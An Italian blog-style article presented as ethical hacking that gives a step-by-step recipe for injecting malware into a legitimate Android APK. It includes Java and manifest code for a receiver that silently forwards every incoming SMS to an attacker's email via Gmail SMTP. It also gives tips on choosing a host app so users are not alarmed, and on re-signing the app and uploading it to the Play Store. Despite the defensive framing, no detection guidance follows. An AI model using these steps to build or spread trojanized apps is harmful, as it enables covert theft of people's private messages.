fbpx Skip to content

Ethical Hacking: Android: inserire un malware in un APK

Ethical Hacking: Android: inserire un malware in un APK

Capire come agiscono gli attaccanti per individuare le APP infette

Per la serie “conoscerli per combatterli”, vedremo in questo articolo come iniettare del malware in un’applicazione Android. A fine 2017, il solo Grabos, codice maligno presente in oltre 150 app su Play Store, ha infettato più di 17 milioni di utenti Android (fonte: mcafee.com)e non si tratta né del primo né dell’unico malware presente su Play Store nascosto all’interno di applicazioni insospettabili (Figura 1, fonte: av-test.org).

Figura 1

È quindi evidente come si tratti di una minaccia molto comune. Per eseguire un’analisi di un’applicazione infetta bisogna innanzitutto capire come agiscono gli attaccanti: di seguito vedremo in dettaglio come una normale applicazione mobile possa essere alterata inserendo del codice ostile.

Disassemblare un’applicazione

Cosa bisogna fare per trasformare una applicazione lecita in una applicazione malware? Per prima cosa è necessario scegliere una app da infettare. Per scaricare l’applicazione, se non abbiamo un dispositivo Android a portata di mano, è possibile utilizzare un servizio come APK Downloader (https://apps.evozi.com/apk-downloader/) o simili.

Al fine di comprendere il funzionamento una semplice app è sufficiente, ma in generale, quando il target non è obbligato, è preferibile infettare un’applicazione che già richiede i permessi necessari al malware per non insospettire l’utente.

Dopo averla scaricata, bisogna disassemblare l’applicazione, in modo da poterla modificare a piacimento. Per svolgere il procedimento utilizziamo Apktool (vedi Riquadro 1) ottenendo i file in Figura 2 (in figura è mostrato l’output di APK Tool utilizzato attraverso APK Studio).

Figura 2

Tra i file prodotti, quelli che ci interessano sono contenuti nella directory smali/,  la quale include tutti i file dell’applicazione scritti in Smali, dove Smali è un linguaggio basato su Jasmin che disassembla un file .dex in un formato più leggibile.

I file .smali rispecchiano il comportamento dell’applicazione d’origine ma presentano un difetto, ovvero che non essendo lo Smali un linguaggio di alto livello, risulta non immediatamente leggibile.

Se invece vogliamo capire per grandi linee come l’app è fatta e come si comporta, ci è più utile uno strumento come dex2jar che trasforma un file .dex in un archivio JAR (Figura 3).

Figura 3

Archivio JAR che può essere analizzato con un semplice decompilatore Java come JD-GUI. I file .class prodotti sono in genere meno affidabili di quelli .smali e, inoltre, con questa operazione, non è possibile la ricostruzione dell’APK.

 

Riquadro 1: Apktool

Apktool è uno strumento per effettuare il reverse engineering dei file binari di Android. In concreto permette di disassemblare l’app e, cosa ancor più importante, permette di ricostruire il file APK dopo aver apportato eventuali modifiche.

I comandi principali sono 

  • apktool d <nome apk> per disassemblare
  •  apktool b <nome directory> per ricostruire l’APK.

Oltre alla directory smali, che ci interessa particolarmente quando disassembliamo un file, abbiamo anche le directory original e unknown:

  • original contiene la cartella META-INF e il file xml che servono quando vogliamo ricostruire l’app mantenendo la firma originale;
  • unknown contiene i file e le cartelle che non sono parte di AOSP (Android Open Source Project).

 

Preparare il malware

Dopo aver disassemblato l’applicazione originaria, il passo successivo consiste nella scrittura dell’applicazione malware in Java con Android Studio. Per semplicità, creiamo un malware molto elementare, andiamo sul “classico”: in questo esempio scriveremo un’applicazione che legge gli SMS e li inoltra via email ad un indirizzo scelto dall’attaccante.

Se l’applicazione malware ha bisogno di permessi aggiuntivi rispetto all’applicazione ospite, questi vanno richiesti nel manifesto; nelle ultime versioni di Android vanno anche controllati, ed eventualmente richiesti, a runtime rispettivamente con ContextCompat.checkSelfPermission() e ContextCompat.requestPermissions() (a questo proposito si veda https://developer.android.com/training/permissions/requesting.html per maggiori dettagli).

Il malware per inviare un’email non usa un Intent né fa scegliere all’utente quale client usare, ma fa tutto in background utilizzando il server di posta di GMail (smtp.gmail.com). Quello che ci serve quindi è una classe che eredita da BroadcastReceiver e che non fa altro che rimanere in ascolto dell’arrivo di un SMS. All’arrivo di un messaggio ne estrae il mittente (msg_from) e il contenuto (msg_body) e invia una email:

Log.i(“SMS2EmailReceiver”, “Start email”);
String email = “
xxx@gmail.com”;
String subject = “Email from SMS”;
String message = sms_from + “: ” + sms_body;
SendMail email = new SendMail(email, subject, message);
email.execute();
Toast.makeText(context, message, Toast.LENGTH_LONG).show();
Log.i(“SMS2EmailReceiver”, “Finish email”);

Dove SendMail è una classe che si occupa di inviare le email ed usa internamente le API di JavaMail (javax.mail.*). Nel manifesto invece va specificato il receiver e l’azione ad esso associata nel seguente modo:

<receiver android:name=”.SMS2Email”>
<intent-filter>
<action android:name=”android.provider.Telephony.SMS_RECEIVED”/>
</intent-filter>
</receiver>

A questo punto costruiamo l’APK con Android Studio e proviamola sull’emulatore: se tutto funziona come previsto, disassembliamo l’applicazione appena creata, in modo da avere del codice Smali per il nostro malware da iniettare.

Iniettare il codice e ricostruire l’applicazione

Trasformiamo ora l’applicazione lecita in una applicazione malware. Per farlo, basta copiare il contenuto della directory smali/ (tranne android/) del codice del malware nella directory smali/ dell’applicazione ospite; faremo lo stesso per i file presenti in unknown/.

Dopo aver inserito il codice necessario, possiamo ricreare l’applicazione.

Per poterla installare ci occorre firmarla: è possibile usare Uber APK Signer da riga di comando o attraverso APK Studio; alternativamente possiamo utilizzare direttamente APK Signer e Zip Align.

Usiamo APK Studio per costruire (con APK Tool), firmare (con Uber APK Signer) e ottimizzare (con Zip Align) l’applicazione che adesso è pronta per essere installata o, eventualmente, per essere caricata su Play Store.

Installare e testare l’applicazione

Figura 4

Anche in questo caso l’installazione può avvenire attraverso un tool grafico come Apk Studio o direttamente con il comando install di ADB.

Ricapitolando, per aggiungere del codice ostile ad una app ci serve:

  • Disassemblare l’app ospite con APK Tool
  • Scrivere il malware con Android Studio
  • Costruire l’APK malware con Android Studio
  • Disassemblare il malware con APK Tool
  • Copiare la directory smali/ del malware in quella dell’app ospite
  • Costruire, firmare e ottimizzare l’app ottenuta con APK Studio
  • Installare l’app con ADB

Sembrano molti passi ma, anche se macchinosi, sono tutti molto semplici e immediati. Eseguiamo normalmente l’applicazione, che continuerà a fare il suo lavoro, ma al primo SMS ricevuto ecco scattare il comportamento da malware: invierà un’email e nel corpo ci sarà indicato il mittente e il testo del messaggio.